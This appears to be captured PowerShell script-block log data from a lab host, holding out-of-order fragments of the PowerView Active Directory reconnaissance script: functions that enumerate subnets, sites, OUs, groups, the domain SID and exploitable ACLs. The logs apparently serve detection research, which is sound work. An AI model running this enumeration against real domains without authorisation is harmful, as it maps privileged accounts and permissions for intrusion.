$Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $TargetDomain = $Domain } else { $TargetDomain = $Env:USERDNSDOMAIN } # go through the 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666687Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1941 } $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } else { $Results = $SiteSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Site = $_ } else { $Site = Convert-LDAPProperty -Properties $_.Properties } $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') $Site } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainSite] Error disposing of the Results object" } } $SiteSearcher.dispose() } } } function Get-DomainSubnet { <# .SYNOPSIS Search for all subnets or specific subnets objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all subnet objects for the current domain are returned. .PARAMETER Identity An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER SiteName Only return subnets from the specified SiteName. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSubnet Returns the current subnets in the domain. .EXAMPLE Get-DomainSubnet *admin* -Domain testlab.local Returns all subnets with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all subnets with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSubnet -Credential $Cred .OUTPUTS PowerView.Subnet Custom PSObject with translated subnet property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Subnet')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $SiteName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SubnetSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SubnetSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $SubnetSearcher = Get-DomainSearcher @SearcherArguments if (-not $SubnetSearcher) { Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } else { $Results = $SubnetSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $Subnet = $_ } else { $Subnet = Convert-LDAPProperty -Properties $_.Properties } $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') if ($PSBoundParameters['SiteName']) { # have to do the filtering after the LDAP query as LDAP doesn't let you specify # wildcards for 'siteobject' :( if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { $Subnet } elseif ($Subnet.siteobject -like "*$SiteName*") { $Subnet } } else { $Subnet } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" } } $SubnetSearcher.dispose() } } } function Get-DomainSID { <# .SYNOPSIS Returns the SID for the current domain or the specified domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer .DESCRIPTION Returns the SID for the current domain or the specified domain by executing Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) to search for domain controllers through LDAP. The SID of the returned domain controller is then extracted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainSID .EXAMPLE Get-DomainSID -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSID -Credential $Cred .OUTPUTS String A string representing the specified domain SID. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) $SearcherArguments = @{ 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid if ($DCSID) { $DCSID.SubString(0, $DCSID.LastIndexOf('-')) } else { Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" } } function Get-DomainGroup { <# .SYNOPSIS Return all groups or specific group objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all group objects for the current domain are returned. To return the groups a specific user/group is a part of, use -MemberIdentity X to execute token groups enumeration. .PARAMETER Identity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to query for. Wildcards accepted. .PARAMETER MemberIdentity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the user/group member to query for group membership. .PARAMETER AdminCount Switch. Return users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER GroupScope Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for. Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations. .PARAMETER GroupProperty Specifies a specific property to search for when performing the group search. Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainGroup | select samaccountname samaccountname -------------- WinRMRemoteWMIUsers__ Administrators Users Guests Print Operators Backup Operators ... .EXAMPLE Get-DomainGroup *admin* | select distinguishedname distinguishedname ----------------- CN=Administrators,CN=Builtin,DC=testlab,DC=local CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local CN=Schema Admins,CN=Users,DC=testlab,DC=local CN=Enterprise Admins,CN=Users,DC=testlab,DC=local CN=Domain Admins,CN=Users,DC=testlab,DC=local CN=DnsAdmins,CN=Users,DC=testlab,DC=local CN=Server Admins,CN=Users,DC=testlab,DC=local CN=Desktop Admins,CN=Users,DC=testlab,DC=local .EXAMPLE Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl samaccountname -------------- Server Admins .EXAMPLE 'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local VERBOSE: Get-DomainGroup filter string: (&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) usncreated : 13245 grouptype : -2147483646 samaccounttype : 268435456 samaccountname : Desktop Admins whenchanged : 8/10/2016 12:30:30 AM objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 objectclass : {top, group} cn : Desktop Admins usnchanged : 13255 dscorepropagationdata : 1/1/1601 12:00:00 AM name : Desktop Admins distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local whencreated : 8/10/2016 12:29:43 AM instancetype : 4 objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGroup -Credential $Cred .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) distinguishedname ----------------- CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local .OUTPUTS PowerView.Group Custom PSObject with translated group property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.Group')] [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'Memb421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666686Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1841ReferenceClass = $Null } # save so we don't look up more than once $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass $InterestingACL = New-Object PSObject $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights if ($_.ObjectAceType) { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType } else { $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' } $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass $InterestingACL } } else { Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" } } } } } } } function Get-DomainOU { <# .SYNOPSIS Search for all organization units (OUs) or specific OU objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all OU objects for the current domain are returned. .PARAMETER Identity An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. .PARAMETER GPLink Only return OUs with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER FindOne Only return one result object. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainOU Returns the current OUs in the domain. .EXAMPLE Get-DomainOU *admin* -Domain testlab.local Returns all OUs with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all OUs with linked to the specified group policy object. .EXAMPLE "*admin*","*server*" | Get-DomainOU Search for OUs with the specific names. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainOU -Credential $Cred .OUTPUTS PowerView.OU Custom PSObject with translated OU property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.OU')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OUSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($OUSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^OU=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $OUSearcher = Get-DomainSearcher @SearcherArguments if (-not $OUSearcher) { Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" } } } else { try { $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' $IdentityFilter += "(objectguid=$GuidByteString)" } catch { $IdentityFilter += "(name=$IdentityInstance)" } } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['GPLink']) { Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" $Filter += "(gplink=*$GPLink*)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } else { $Results = $OUSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { if ($PSBoundParameters['Raw']) { # return raw result objects $OU = $_ } else { $OU = Convert-LDAPProperty -Properties $_.Properties } $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') $OU } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" } } $OUSearcher.dispose() } } } function Get-DomainSite { <# .SYNOPSIS Search for all sites or specific site objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all site objects for the current domain are returned. .PARAMETER Identity An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. .PARAMETER GPLink Only return sites with the specified GUID in their gplink property. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainSite Returns the current sites in the domain. .EXAMPLE Get-DomainSite *admin* -Domain testlab.local Returns all sites with "admin" in their name in the testlab.local domain. .EXAMPLE Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" Returns all sites with linked to the specified group policy object. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainSite -Credential $Cred .OUTPUTS PowerView.Site Custom PSObject with translated site property fields. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Site')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] [Alias('GUID')] $GPLink, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $SiteSearcher = Get-DomainSearcher @SearcherArguments } PROCESS { if ($SiteSearcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^CN=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain 